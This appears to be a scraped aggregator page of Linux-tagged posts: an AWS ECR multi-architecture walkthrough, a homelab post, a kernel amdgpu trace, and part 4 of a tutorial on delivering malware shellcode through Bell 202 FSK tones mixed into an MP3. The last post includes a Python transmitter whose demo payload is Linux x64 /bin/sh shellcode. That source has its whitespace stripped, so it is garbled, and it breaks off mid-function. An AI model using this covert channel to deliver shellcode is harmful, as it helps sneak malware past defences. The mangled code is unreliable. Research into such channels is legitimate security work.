Roastidio.us Tagged with linux

Introducing multi-architecture container images for Amazon ECR | Containers

Thu, 27 Aug 2026 05:46:04 +0000

Containers are a de facto standard in cloud application development and deployment. Publishing software in container images provides developers an integrated packaging solution, bundling software and all required dependencies into a portable image format. This image can then be run anywhere, abstracting away the infrastructure-specific aspects of deployment.

However, the promise of running anywhere only goes so far. Some applications have specific host platform or operating system requirements, such as supporting both Linux and Windows. Compute architecture is another variable, especially with the compelling price-performance ratio of AWS Graviton ARM-based instances running in EC2. Before today, such container images had to be published and deployed to Amazon ECR using architecture-specific naming conventions, complicating some aspects of the image lifecycle.

Today we are announcing multi-architecture container images for Amazon ECR. This is a much-anticipated feature that makes it simpler to deploy container images for different architectures and operating systems from the same image repository.

Container images under the hood

Amazon ECR is a fully managed container registry that makes it easy for developers to store, manage, and deploy container images. It is highly available, scalable, and simple to use. Before discussing multi-architecture images in detail, let’s first cover some underlying aspects of how container images work.

The term ‘container’ refers to a set of operating system components, computing resources, and configuration to provide an isolated compute environment for processes to run within. One of the resources specified for a container is its file system. When we refer to a container image, it’s this file system in a portable format along with container configuration and other metadata that we refer to. Popular container development tools like Docker allow developers to create container images that contain software or a service and all of the required dependencies, which is what makes containers such a portable option.

Container images consist of two main parts, layers and a manifest. Each container image has one or more layers of file system content. The manifest specifies the layers that make up the image as well as its runtime characteristics and configuration. The container image format for Docker is defined by the Docker Image Specification and the related Image Manifest Specification. The Open Containers Initiative went on to define the runtime-agnostic OCI Image Specification.

Image registries like Amazon ECR store images which adhere to these specifications in repositories, and each specific image is referenced by one or more tags. Images are typically tagged in order to specify a version of the software or service when pushing and pulling the image. Putting this all together, when you first pull a container image for use in Docker or another container runtime, two things happen. First the manifest is pulled locally based upon the specified image repository and tag, and then the manifest is used to assemble the container file system from the layers specified.

For a concrete example, you can use the docker inspect <image> command to see the manifest of any local image in your Docker development environment. As you can see, platform characteristics such as architecture and operating system are clearly specified by the image manifest. So then, how do you easily deploy containers across different operating systems and platform architectures?

Before today, when publishing images to a repository in Amazon ECR these characteristics had to be specified in the image tag. Alternatively, you could store platform-specific images built from the same source in their own image repositories. The correct version of the image for your compute environment would then need to be pulled by explicit reference, for example {aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/my-image-linux-arm64:2.7 rather than {aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/my-image:2.7. This is inconvenient, and requires OS- or architecture-specific references throughout the entire development and deployment lifecycle of your image.

Introducing multi-architecture images in Amazon ECR

With multi-architecture image support in Amazon ECR, it’s now easy for you to build different images to support multiple architectures or operating systems from the same source and refer to them all by the same abstract manifest name. This is achieved through support of an image specification component known as a manifest list, or image index.

Manifest list support has been present in the Docker Image Manifest Specification since V2 image manifest (schema version 2). It is also included in the Open Containers Initiative Image Specification v1, though it is referred to there as an image index. A manifest list (or image index) allows for the nested inclusion of other image manifests, where each included image is specified by architecture, operating system and other platform attributes. This makes it possible to refer to an image repository that includes platform-specific images by a more abstract name, for example {aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/my-image:2.7.

The container engine responsible for creating the container pulls from the registry the correct layers for the compute environment where it’s running based upon the values in the manifest list. With a small number of additional steps during your image builds, your clients can pull an image by version tag and get the correct image for the platform they are running on. This can simplify both your Amazon ECR repository management as well as your CI/CD pipelines, as mentioned above. These additional steps are detailed below.

Working with multi-architecture images in Amazon ECR

In this walkthrough, you will create two container images, one for x86_64 (64-bit x86-based systems) and one for aarch64 (64-bit ARM-based systems). You’ll then push these images to a repository in Amazon ECR and then create a manifest list referring to each by their architectures. Finally, you’ll pull an image by manifest list name without needing to specify the correct architecture.

To get started, you need:

An AWS account and the aws CLI installed and configured for use in your development environment
A repository in Amazon ECR named hello (or your own repo name). For information about creating a repository, see the Amazon ECR documentation.
A Docker development environment and familiarity with using Docker
Two EC2 instances, one x86_64 and the other aarch64. I’m using T3 and A1 instances, respectively. For more information on launching instances, see the Amazon EC2 documentation.

To make cutting and pasting the following commands easier, set the following environment variables in your shell to refer to your numeric AWS Account ID and the AWS Region where your registry endpoint is located.

$ AWS_ACCOUNT_ID=aws-account-id
$ AWS_REGION=aws-region

Now, you will need to build images for two different architectures in your Docker development environment. You can use your own, or clone this handy hello world app for the purposes of this walkthrough.

$ git clone https://github.com/jlbutler/yahw.git && cd yahw
$ make all
$ docker images hello
REPOSITORY TAG   IMAGE ID       CREATED         SIZE
hello      arm64 8d2063eddc5e   17 seconds ago  7.19MB
hello      amd64 cbfda9e83a41   27 seconds ago  7.59MB

Note that the walkthrough images use architecture-specific tags. This is for the purpose of the demonstration only, it’s best to tag your images with an explicit version or another meaningful reference.

Now that you have your images for each platform, tag them to refer to your repository in Amazon ECR. Log your Docker client into ECR as needed.

$ aws ecr get-login-password --region ${AWS_REGION} | \ 
    docker login --username AWS --password-stdin \ 
    ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello 
  Login Succeeded

$ for i in amd64 arm64; do
for> docker tag hello:${i} ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:${i}
for> done

With the images tagged with your repository path, they are ready to push to Amazon ECR.

$ docker images | grep hello
REPOSITORY                                                    TAG    IMAGE ID      CREATED        SIZE
{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello     arm64  8d2063eddc5e  4 minutes ago  7.19MB
hello                                                         arm64  8d2063eddc5e  4 minutes ago  7.19MB
{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello     amd64  cbfda9e83a41  4 minutes ago  7.59MB
hello                                                         amd64  cbfda9e83a41  4 minutes ago  7.59MB

$ for i in amd64 arm64; do
for> docker push ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:${i}
for> done

You can verify that your images pushed with the aws ecr command.

$ aws ecr --region ${AWS_REGION} describe-images --repository-name hello
{
    "imageDetails": [
        {
            "registryId": "aws-account-id",
            "repositoryName": "hello",
            "imageDigest":"sha256:b50bd7f7..5a0dc770",
            "imageTags": [
                "amd64"
            ],
            "imageSizeInBytes": 3954211,
            "imagePushedAt": "2020-04-24T17:24:11-04:00"
        },
        {
            "registryId": "aws-account-id",
            "repositoryName": "hello",
            "imageDigest": "sha256:2f333a8b..27fc2172",
            "imageTags": [
                "arm64"
            ],
            "imageSizeInBytes": 3702268,
            "imagePushedAt": "2020-04-24T17:24:25-04:00"
        }
    ]
}

At this point, you could pull these images by their architecture-specific tags, but let’s simplify by creating a manifest list and pushing it to Amazon ECR.

In your Docker development environment, create a new manifest list for this image set with the docker manifest create command. If you do not have experimental features enabled in your client, you need to do this first. For more information, see the Docker documentation.

$ docker manifest create ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello \
    ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:amd64  \
    ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:arm64 
Created manifest list {aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello:latest

The manifest is using the default latest tag here, but again you should use something that more explicitly references this version of the container for production purposes.

One little bit of housekeeping we need to do is to annotate the manifest so that the manifest list correctly identifies which image is for which architecture. An artifact of the Docker build command is that it sets the architecture to the build environment’s architecture, even if cross-compiling for another architecture as is the case in our example. But, there is a simple remedy for this via the docker manifest annotate command.

$ docker manifest annotate --arch arm64 ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello \
      ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:arm64

Before you push it, you can inspect your newly-minted manifest and note that it has a manifests list with two distinct image references, each with digests mapping to your images and with their appropriate platform.architecture values.

$ docker manifest inspect ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello
{
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
    "manifests": [
        {
            "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
            "size": 528,
            "digest": "sha256:b50bd7f7..5a0dc770",
            "platform": {
                "architecture": "amd64",
                "os": "linux"
            }
        },
        {
            "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
            "size": 528,
            "digest": "sha256:2f333a8b..27fc2172",
            "platform": {
                "architecture": "arm64",
                "os": "linux"
            }
        }
    ]
}

After confirming your manifest is ready for use, push it to your repository in Amazon ECR as you would any image.

$ docker manifest push ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello
sha256:bd7a61a6ea3c366c0e58d70233900f0c761d6051da0ad8cbaa19011f873c37bc

With that final step, your images are ready to pull by referring to the higher-level manifest image tag. Head over to your Graviton ARM-based EC2 instance, log your Docker client into Amazon ECR if needed, and pull the image by its latest tag. Note you’ll need to set your AWS_ACCOUNT_ID and AWS_REGION accordingly.

$ docker run -d -p 8080:8080 ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:latest
Unable to find image '{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello:latest' locally
latest: Pulling from hello
2f12463f1928: Pull complete
Digest: sha256:bd7a61a6ea3c366c0e58d70233900f0c761d6051da0ad8cbaa19011f873c37bc
Status: Downloaded newer image for {aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello:latest
fd4c0ae177dad82315cbcc7f6acb8fdcb733318c7f2e1bb832693de896e3527a

$ curl localhost:8080/hello
{"arch":"aarch64","message":"Hello, there!","os":"Linux 4.14.173-137.229.amzn2.aarch64"}

Next steps

From the above walkthrough, you can see that adding a few simple steps to your container build pipelines means that you no longer need to use OS- and architecture-specific image repositories or tags to ensure that your containers are deployed to their correct runtime environment. This simplifies your container pipelines considerably, enabling simpler image naming conventions for your published container images.

When working with interpreted languages such as Python, it is likely that your image builds for different platforms are fairly transparent, simply referencing the correct base images in your Dockerfiles. Keep in mind there may be some caveats, depending upon your use of system-level primitives which may be OS-specific.

For container builds with compiled languages such as C++, there are OS- or architecture-specific build steps. Some languages provide cross-compiling features that make this process simpler, as in the example’s use of Go. This allows you to build for various operating systems and architectures all from one system. If your development environment is Docker Desktop, you may also consider the docker buildx command, which simplifies multi-architecture builds by using QEMU’s emulation features during build.

Regardless of programming language, you can pass any required platform details into a build using the —build-arg option of the docker build command combined with the Dockerfile ARG directive. Or, you can use platform-specific Dockerfiles and explicitly reference them via the —file option of docker build. For more information on using these options, see the Docker build documentation.

As mentioned above, images should be tagged based upon their version or another specific identifier, such as git commit ID. With multi-architecture image support, your builds and deployments can refer to a single image name and a version-specific tag, no longer needing to refer to operating system, architecture, or other platform details.

Let us know what you think of this new feature, and check out more upcoming features on the AWS containers roadmap.

Refreshing my homelab

Thu, 27 Aug 2026 02:37:37 +0000

Recently, I have bene doing some upgrades and refresh to my homelab rack. Some of these updates are just getting started, but several of these are completed already.

Snce we moved to the new house, we have 10G internet. So, I upgraded the networking on the rack to be 10G network. This means, two 10G switches and two 10G NIC (Intel) on the firewall server. I also installed one 10G NIC on my desktop computer to get 10G internet. I plan to upgrade the other two servers to 10G ethernet in the next few months. Obviously, I do not really need 10G internet on my computer, but it was fun to achieve that.

I have also installed a new UPS in the rack. I went with Powerwalker this time because it much more affordable than APC. The reviews on that UPS looked good, so I am trying it. So far, it has been really good. It can keep my homelab running for about 45 minutes. This was necessary multiple times during the installation of our solar panels.

After many years of service, the hardware in some of the servers needed upgrading. I had some issues on the hardware of the firewall and the main server did not have enough RAM to handle all the services. I was running Openproject and InfluxDB (among others) on the same machine and this did not work well with 4Go of RAM. So, I refreshed the entire hardware and also changed the case. The cases from Norco and Ri-vier were quite nice but also very short so not great for airflow and for extensibility. I switched to Lanberg cases for the servers that were upgraded.

Talking about servers, I also added a new server for Home Assistant. I got rid of Samsung Smarthings and Hue and replaced everything with Home Assistant. I can now control many things in the house and I have many more plans. I am really impressed by this software, it's nothing short of amazing.

I also changed my KVM switch. I had an hardware KVM switch with a hardware monitor console. But the keyboard was falling into pieces and the connectivity was ancient (VGA). So I switched to multiple JetKVM. I am very happy about them. They are much easier to setup than piKVM and and they are cheaper. I also ordered a 3D printed rack mount on ebay.

The next thing I want to refresh is the NAS. The hardware is also in need of a refresh because it still has really old hardware (10+ years old at this point). However, I also want to switch the RAID to ZFS (mostly to learn) instead of LVM + mdadm. But this means either getting rid of a lot of data or replacing all disks. And disks are currently insanely expensive.

As for software, all servers are still running Gentoo. I am still quite happy about it, even though I would sometimes prefer faster upgrades.

Here is a picture of the rack in its current state:

What about you? Do you have a homelab?

AMD Video Drivers, LLMs, and Debian Kernels – etbe – Russell Coker

Wed, 26 Aug 2026 23:37:10 +0000

2026-08-04T01:13:37.505839+10:00 xev kernel: ------------[ cut here ]------------ 
2026-08-04T01:13:37.505859+10:00 xev kernel: amdgpu 0000:02:00.0: [drm] drm_WARN_ON_ONCE(cur_vblank != vblank->last) 
2026-08-04T01:13:37.505862+10:00 xev kernel: WARNING: CPU: 6 PID: 210534 at drivers/gpu/drm/drm_vblank.c:362 drm_update_vblank_count+0x2f1/0x3c0 [drm] 
2026-08-04T01:13:37.505866+10:00 xev kernel: snd_intel_dspcfg wmi_bmof rc_core snd_intel_sdw_acpi drm_ttm_helper uas realtek snd_usbmidi_lib snd_hda_codec ttm mdio_devres snd_hda_core snd_seq_midi drm_kms_helper usb_storage mc snd_hwdep libphy snd_seq_midi_event intel_uncore snd_pcm_oss i2c_algo_bit serio_raw snd_rawmidi pcspkr snd_mixer_oss i2c_i801 video snd_seq snd_pcm i2c_smbus lpc_ich snd_seq_device mei_me e1000e snd_timer mei snd tpm_infineon soundcore joydev bnx2 wmi button nfsd auth_rpcgss nfs_acl lockd grace sunrpc coretemp br_netfilter bridge stp llc sg ghash_clmulni_intel loop msr i2c_dev drm efi_pstore configfs nfnetlink ip_tables x_tables autofs4 btrfs blake2b_generic dm_crypt dm_mod raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx libcrc32c xor raid6_pq raid1 raid0 md_mod ext4 crc16 mbcache jbd2 crc32c_generic virtio_blk evdev hid_generic usbhid hid sd_mod xhci_pci xhci_hcd ahci ehci_pci ehci_hcd libahci crc32c_intel libata usbcore aesni_intel nvme psmouse scsi_mod gf128mul crypto_simd nvme_core cryptd 
2026-08-04T01:13:37.505879+10:00 xev kernel: nvme_auth scsi_common usb_common efivarfs 
2026-08-04T01:13:37.505880+10:00 xev kernel: CPU: 6 UID: 1008 PID: 210534 Comm: sshd-session Tainted: G D 6.12.88+deb13-amd64 #1 Debian 6.12.88-1 
2026-08-04T01:13:37.505881+10:00 xev kernel: Tainted: [D]=DIE 
2026-08-04T01:13:37.505883+10:00 xev kernel: Hardware name: Hewlett-Packard HP Z640 Workstation/212A, BIOS M60 v02.61 03/23/2023 
2026-08-04T01:13:37.505884+10:00 xev kernel: RIP: 0010:drm_update_vblank_count+0x2f1/0x3c0 [drm] 
2026-08-04T01:13:37.505885+10:00 xev kernel: Code: 48 8b 5f 50 48 85 db 75 03 48 8b 1f e8 68 eb 2b cf 48 c7 c1 70 3e cb c0 48 89 da 48 c7 c7 f9 6f cb c0 48 89 c6 e8 af d7 a6 ce <0f> 0b e9 4b fe ff ff 48 8b 4c 24 18 e9 31 fe ff ff 31 f6 48 85 db 
2026-08-04T01:13:37.505887+10:00 xev kernel: RSP: 0000:ffffd3cc8681fca0 EFLAGS: 00010082 
2026-08-04T01:13:37.505888+10:00 xev kernel: RAX: 0000000000000000 RBX: ffff8c6b42b13710 RCX: 0000000000000027 
2026-08-04T01:13:37.505889+10:00 xev kernel: RDX: ffff8c89ef521788 RSI: 0000000000000001 RDI: ffff8c89ef521780 
2026-08-04T01:13:37.505890+10:00 xev kernel: RBP: 0000000000000000 R08: 0000000000000000 R09: ffffd3cc8681fb20 
2026-08-04T01:13:37.505891+10:00 xev kernel: R10: ffff8c8a6fef3628 R11: 0000000000000003 R12: 0000000000000000 
2026-08-04T01:13:37.505892+10:00 xev kernel: R13: ffff8c6c07853828 R14: 0000000000000003 R15: 0000000000000000 
2026-08-04T01:13:37.505893+10:00 xev kernel: FS: 00007ffaf2fd5880(0000) GS:ffff8c89ef500000(0000) knlGS:0000000000000000 
2026-08-04T01:13:37.505895+10:00 xev kernel: CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 
2026-08-04T01:13:37.505896+10:00 xev kernel: CR2: 00007fb1718c8000 CR3: 000000074521a004 CR4: 00000000003706f0 
2026-08-04T01:13:37.505897+10:00 xev kernel: Call Trace: 
2026-08-04T01:13:37.505898+10:00 xev kernel:  
2026-08-04T01:13:37.505899+10:00 xev kernel: drm_crtc_accurate_vblank_count+0x41/0xc0 [drm] 
2026-08-04T01:13:37.505900+10:00 xev kernel: dm_pflip_high_irq+0x155/0x330 [amdgpu] 
2026-08-04T01:13:37.505901+10:00 xev kernel: amdgpu_dm_irq_handler+0x85/0x1f0 [amdgpu] 
2026-08-04T01:13:37.505902+10:00 xev kernel: amdgpu_irq_dispatch+0xd2/0x230 [amdgpu] 
2026-08-04T01:13:37.505903+10:00 xev kernel: amdgpu_ih_process+0x84/0x100 [amdgpu] 
2026-08-04T01:13:37.505904+10:00 xev kernel: amdgpu_irq_handler+0x23/0x60 [amdgpu] 
2026-08-04T01:13:37.505905+10:00 xev kernel: __handle_irq_event_percpu+0x4a/0x190
2026-08-04T01:13:37.505907+10:00 xev kernel: handle_irq_event+0x38/0x80 
2026-08-04T01:13:37.505908+10:00 xev kernel: handle_edge_irq+0x8b/0x230 
2026-08-04T01:13:37.505909+10:00 xev kernel: __common_interrupt+0x45/0xe0 
2026-08-04T01:13:37.505910+10:00 xev kernel: common_interrupt+0x42/0xa0 
2026-08-04T01:13:37.505911+10:00 xev kernel: asm_common_interrupt+0x26/0x40 
2026-08-04T01:13:37.505912+10:00 xev kernel: RIP: 0033:0x7ffaf3c5fd7b 
2026-08-04T01:13:37.505913+10:00 xev kernel: Code: 70 c7 00 66 0f 6e f8 c1 ef 02 66 0f 70 f7 e0 83 c7 01 66 0f ef ff 66 0f fa f2 0f 1f 44 00 00 f3 0f 7e 01 66 0f 6f ce 83 c6 01 <48> 83 e9 08 f2 0f 70 c0 1b 66 0f 6f e0 66 0f 6f e8 66 41 0f f9 c0 
2026-08-04T01:13:37.505915+10:00 xev kernel: RSP: 002b:00007fff86a5e0e0 EFLAGS: 00000202 
2026-08-04T01:13:37.505916+10:00 xev kernel: RAX: 0000000000008000 RBX: 0000562614a04050 RCX: 0000562614982ed8 
2026-08-04T01:13:37.505946+10:00 xev kernel: RDX: 0000000000007fe2 RSI: 0000000000000fad RDI: 0000000000002000 
2026-08-04T01:13:37.505948+10:00 xev kernel: RBP: 0000000000000000 R08: 000056261498ac40 R09: 0000000000008000 
2026-08-04T01:13:37.505949+10:00 xev kernel: R10: 0000000000000066 R11: 0000000000007fe1 R12: 0000000000007efa
2026-08-04T01:13:37.505950+10:00 xev kernel: R13: 0000000000008000 R14: 0000000000008000 R15: 000000000000ffe0 
2026-08-04T01:13:37.505951+10:00 xev kernel:  
2026-08-04T01:13:37.505953+10:00 xev kernel: ---[ end trace 0000000000000000 ]--- 
2026-08-04T01:55:40.844110+10:00 xev kernel: pcieport 0000:00:03.3: AER: Multiple Correctable error message received from 0000:00:03.3 
2026-08-04T01:55:40.844130+10:00 xev kernel: pcieport 0000:00:03.3: PCIe Bus Error: severity=Correctable, type=Data Link Layer, (Receiver ID) 
2026-08-04T01:55:40.844132+10:00 xev kernel: pcieport 0000:00:03.3: device [8086:6f0b] error status/mask=00000040/00002000 
2026-08-04T01:55:40.844134+10:00 xev kernel: pcieport 0000:00:03.3: [ 6] BadTLP

Malware shellcode delivery via signal - part 4. Embedding Bell 202 FSK into MP3 and recovering the symbol clock. Python and C example

Wed, 26 Aug 2026 09:37:29 +0000

﷽

Hello, cybersecurity enthusiasts and white hackers!

In part 3, we made the live Bell 202 FSK receiver much more reliable. We fixed ALSA overruns and searched several sub-bit offsets instead of assuming that capture starts exactly at a symbol boundary.

In this part, I want to change the transport. Instead of generating a standalone modem-like signal, I will mix the same framed FSK stream into a normal music file, encode the result as MP3, play it, and recover the frame on the receiving side.

This is not an MP3 parser exploit. The media player only produces sound. A separate receiver must already be running and listening to the audio channel. Therefore, this experiment demonstrates an audio data channel, not automatic code execution by an MP3 player.

protocol

The protocol remains compatible with part 3:

0xAA 0xAA 0xAA 0xAA 0x7E | uint16 length | payload | XOR checksum

Bits are transmitted LSB-first using two frequencies:

bit 0 -> 1200 Hz
bit 1 -> 2200 Hz
sample rate -> 48000 Hz
baud rate -> 300
nominal samples per bit -> 160

For bit (b), the generated signal is

\[s_b[n] = \sin\left(2\pi\frac{f_b}{F_s}n + \phi_n\right), \qquad f_b = \begin{cases} 1200, & b=0,\\ 2200, & b=1. \end{cases}\]

The phase is continued between symbols to avoid unnecessary clicks. The FSK frame is mixed with the decoded music samples:

\[y[n] = x[n] + \alpha s[n], \qquad \alpha = 10^{G/20},\]

where (x[n]) is the music, (s[n]) is the FSK signal, and (G) is the selected FSK level in dBFS. The practical default in this experiment is -12 dBFS.

building the MP3

The Python transmitter performs the following operations:

Decode the source music to stereo 48 kHz floating-point PCM using FFmpeg.
Build the framed Bell 202 signal.
Insert three copies of the frame with 250 ms gaps.
Mix the signal into the music starting at 2 seconds.
Normalize the result to prevent clipping.
Encode it using libmp3lame at 320 kbit/s.
Decode the resulting MP3 again and verify that at least one complete frame can still be recovered.

The important part is the final verification. Creating an MP3 without an encoder error proves almost nothing: lossy compression may damage the two FSK tones. The transmitter accepts the result only when the complete post-compression frame is recovered byte-for-byte.

forgainingain_candidates:mixed=mix_signal(carrier,signal,offset_samples,gain)encode_mp3(mixed,output_path,args.bitrate)verification=verify_mp3(output_path,frame,expected_starts)ifverificationisnotNone:breakifverificationisNone:raiseRuntimeError("MP3 was created, but the FSK frame did not survive compression")

Create the demo file:

python3 transmit_live.py bongo.mp3 demo.mp3

Example output:

why the part 3 receiver failed

The part 3 receiver assumes that every symbol occupies exactly 160 captured samples. That assumption is correct for a generated PCM array, but not always for a complete playback path:

MP3 decoder -> audio server -> DAC -> speaker -> microphone -> ADC -> ALSA

The playback and capture devices have independent clocks. Even when both devices report 48000 Hz, their physical clocks are not identical. A small error accumulates across the frame, moving the Goertzel window toward the boundary between two symbols.

There was also a simpler logic bug. The transmitter writes three copies, but the part 3 receiver stops searching after the first valid preamble. If that frame has a bad checksum, copies two and three are never examined at the same alignment.

symbol-clock recovery

Part 4 first performs a coarse search using 32 offsets with a 5-sample step. After locating an approximate preamble, it uses the known 40 preamble bits to refine two parameters:

\[(\hat{\tau}, \hat{T}) = \arg\max_{\tau,T} \sum_{k=0}^{39} q_k\frac{P_{e_k}(k;\tau,T)-P_{1-e_k}(k;\tau,T)} {P_{1200}(k;\tau,T)+P_{2200}(k;\tau,T)+\varepsilon},\]

where (\tau) is the frame start, (T) is samples per bit, (e_k) is the expected preamble bit, and (P_f) is the Goertzel power at frequency (f). In the implementation:

start correction: -12 ... +12 samples
symbol period:     158.0 ... 162.0 samples
step:              0.1 sample

For each symbol, the receiver compares the two Goertzel powers:

\[\hat{b}_k = \begin{cases} 1, & P_{2200}(k) > P_{1200}(k),\\ 0, & \text{otherwise}. \end{cases}\]

Only the central 84% of a symbol is analyzed. Removing the edges reduces contamination from adjacent symbols, timing errors, and short room echoes.

The updated receiver also captures 12 seconds and continues after a checksum failure, so every repeated frame can be tested.

Full source code for transmitter (transmitter_live.py):

#!/usr/bin/env python3
"""
transmit_live.py
embed a fixed payload into a music MP3 using Bell 202 FSK.
the output is decoded and verified after MP3 compression. 
this PoC for educational and research purposes only.
author: @cocomelonc
"""importargparseimportshutilimportstructimportsubprocessimportsysfrompathlibimportPathimportnumpyasnp# protocol constants, match the receiver from part 3.
SAMPLE_RATE=48000BAUD_RATE=300FREQ_MARK=2200FREQ_SPACE=1200SPB=SAMPLE_RATE//BAUD_RATEPREAMBLE=bytes([0xAA,0xAA,0xAA,0xAA,0x7E])CHANNELS=2# demo payload (linux x64 /bin/sh)
DEMO_PAYLOAD=bytes([0x48,0x31,0xc0,0x50,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x53,0x48,0x89,0xe7,0x50,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0xb0,0x3b,0x0f,0x05])defbuild_frame(payload:bytes)->bytes:"""Build: preamble + 2-byte big-endian length + payload + XOR checksum."""checksum=0forbyteinpayload:checksum^=bytereturnPREAMBLE+struct.pack(">H",len(payload))+payload+bytes([checksum])defbuild_fsk_frame(frame:bytes)->np.ndarray:"""Generate phase-continuous Bell 202 FSK, LSB first inside each byte."""signal=np.empty(len(frame)*8*SPB,dtype=np.float32)sample_axis=np.arange(SPB,dtype=np.float64)cursor=0phase=0.0forbyteinframe:forbit_indexinrange(8):bit=(byte>>bit_index)&1frequency=FREQ_MARKifbitelseFREQ_SPACEphase_step=2.0*np.pi*frequency/SAMPLE_RATEtone=np.sin(phase+phase_step*sample_axis)signal[cursor:cursor+SPB]=tonephase=(phase+phase_step*SPB)%(2.0*np.pi)cursor+=SPB# a short edge ramp suppresses clicks without consuming a full symbol.
ramp_samples=16ramp=np.linspace(0.0,1.0,ramp_samples,endpoint=False,dtype=np.float32)signal[:ramp_samples]*=rampsignal[-ramp_samples:]*=ramp[::-1]returnsignaldefbuild_repeated_signal(frame:bytes,repeats:int,gap_seconds:float)->tuple[np.ndarray,list[int]]:one_frame=build_fsk_frame(frame)gap=np.zeros(round(gap_seconds*SAMPLE_RATE),dtype=np.float32)chunks=[]starts=[]cursor=0forrepeat_indexinrange(repeats):starts.append(cursor)chunks.append(one_frame)cursor+=len(one_frame)ifrepeat_index+1<repeats:chunks.append(gap)cursor+=len(gap)returnnp.concatenate(chunks),startsdefrun_ffmpeg(arguments:list[str],stdin:bytes|None=None)->bytes:command=["ffmpeg","-hide_banner","-loglevel","error",*arguments]result=subprocess.run(command,input=stdin,stdout=subprocess.PIPE,stderr=subprocess.PIPE)ifresult.returncode!=0:message=result.stderr.decode("utf-8",errors="replace").strip()raiseRuntimeError(f"ffmpeg failed: {message}")returnresult.stdoutdefdecode_audio(path:Path,channels:int)->np.ndarray:"""decode any ffmpeg-supported audio file to 48 kHz float PCM."""raw=run_ffmpeg(["-i",str(path),"-vn","-f","f32le","-acodec","pcm_f32le","-ar",str(SAMPLE_RATE),"-ac",str(channels),"pipe:1",])samples=np.frombuffer(raw,dtype="<f4").copy()ifsamples.size==0orsamples.size%channels!=0:raiseValueError(f"cannot decode valid PCM from {path}")returnsamples.reshape((-1,channels))defencode_mp3(samples:np.ndarray,output_path:Path,bitrate:str)->None:output_path.parent.mkdir(parents=True,exist_ok=True)pcm=np.asarray(samples,dtype="<f4").tobytes()run_ffmpeg(["-y","-f","f32le","-ar",str(SAMPLE_RATE),"-ac",str(samples.shape[1]),"-i","pipe:0","-vn","-codec:a","libmp3lame","-b:a",bitrate,str(output_path),],stdin=pcm)deftone_power(samples:np.ndarray,frequency:float)->float:"""Goertzel power at one protocol frequency."""omega=2.0*np.pi*frequency/SAMPLE_RATEcoefficient=2.0*np.cos(omega)q1=0.0q2=0.0forsampleinsamples:q0=coefficient*q1-q2+float(sample)q2=q1q1=q0returnq1*q1+q2*q2-coefficient*q1*q2defdecode_frame_at(samples:np.ndarray,start:int,frame_size:int)->bytes|None:total_samples=frame_size*8*SPBifstart<0orstart+total_samples>len(samples):returnNonedecoded=bytearray(frame_size)cursor=startforbyte_indexinrange(frame_size):value=0forbit_indexinrange(8):symbol=samples[cursor:cursor+SPB]mark=tone_power(symbol,FREQ_MARK)space=tone_power(symbol,FREQ_SPACE)ifmark>space:value|=1<<bit_indexcursor+=SPBdecoded[byte_index]=valuereturnbytes(decoded)defverify_mp3(output_path:Path,frame:bytes,expected_starts:list[int])->tuple[int,int]|None:"""decode the compressed MP3 and recover an exact checksummed frame."""mono=decode_audio(output_path,channels=1)[:,0]# ffmpeg usually removes encoder delay, but scanning +/- one symbol also
# covers small timing shifts introduced by another MP3 implementation.
forrepeat_index,expected_startinenumerate(expected_starts,start=1):fordeltainrange(-SPB,SPB+1):candidate_start=expected_start+deltaifdecode_frame_at(mono,candidate_start,len(frame))==frame:returnrepeat_index,candidate_startreturnNonedefmix_signal(carrier:np.ndarray,signal:np.ndarray,offset_samples:int,gain_dbfs:float)->np.ndarray:end=offset_samples+len(signal)ifoffset_samples<0:raiseValueError("offset must not be negative")ifend>len(carrier):required=end/SAMPLE_RATEavailable=len(carrier)/SAMPLE_RATEraiseValueError(f"carrier is too short: need {required:.2f}s, have {available:.2f}s")mixed=carrier.copy()fsk_gain=10.0**(gain_dbfs/20.0)mixed[offset_samples:end,:]+=signal[:,None]*fsk_gainpeak=float(np.max(np.abs(mixed)))ifpeak>0.98:mixed*=0.98/peakreturnmixeddefembed_and_verify(args:argparse.Namespace)->None:ifshutil.which("ffmpeg")isNone:raiseRuntimeError("ffmpeg is required but was not found in PATH")input_path=Path(args.input)output_path=Path(args.output)ifnotinput_path.is_file():raiseFileNotFoundError(input_path)ifinput_path.resolve()==output_path.resolve():raiseValueError("input and output paths must be different")ifargs.repeats<1orargs.repeats>5:raiseValueError("repeats must be between 1 and 5")payload=DEMO_PAYLOADframe=build_frame(payload)signal,relative_starts=build_repeated_signal(frame,args.repeats,args.gap)offset_samples=round(args.offset*SAMPLE_RATE)expected_starts=[offset_samples+startforstartinrelative_starts]carrier=decode_audio(input_path,channels=CHANNELS)# If the selected music masks the initial level, strengthen the signal in
# 3 dB steps. A generated file is accepted only after byte-exact recovery.
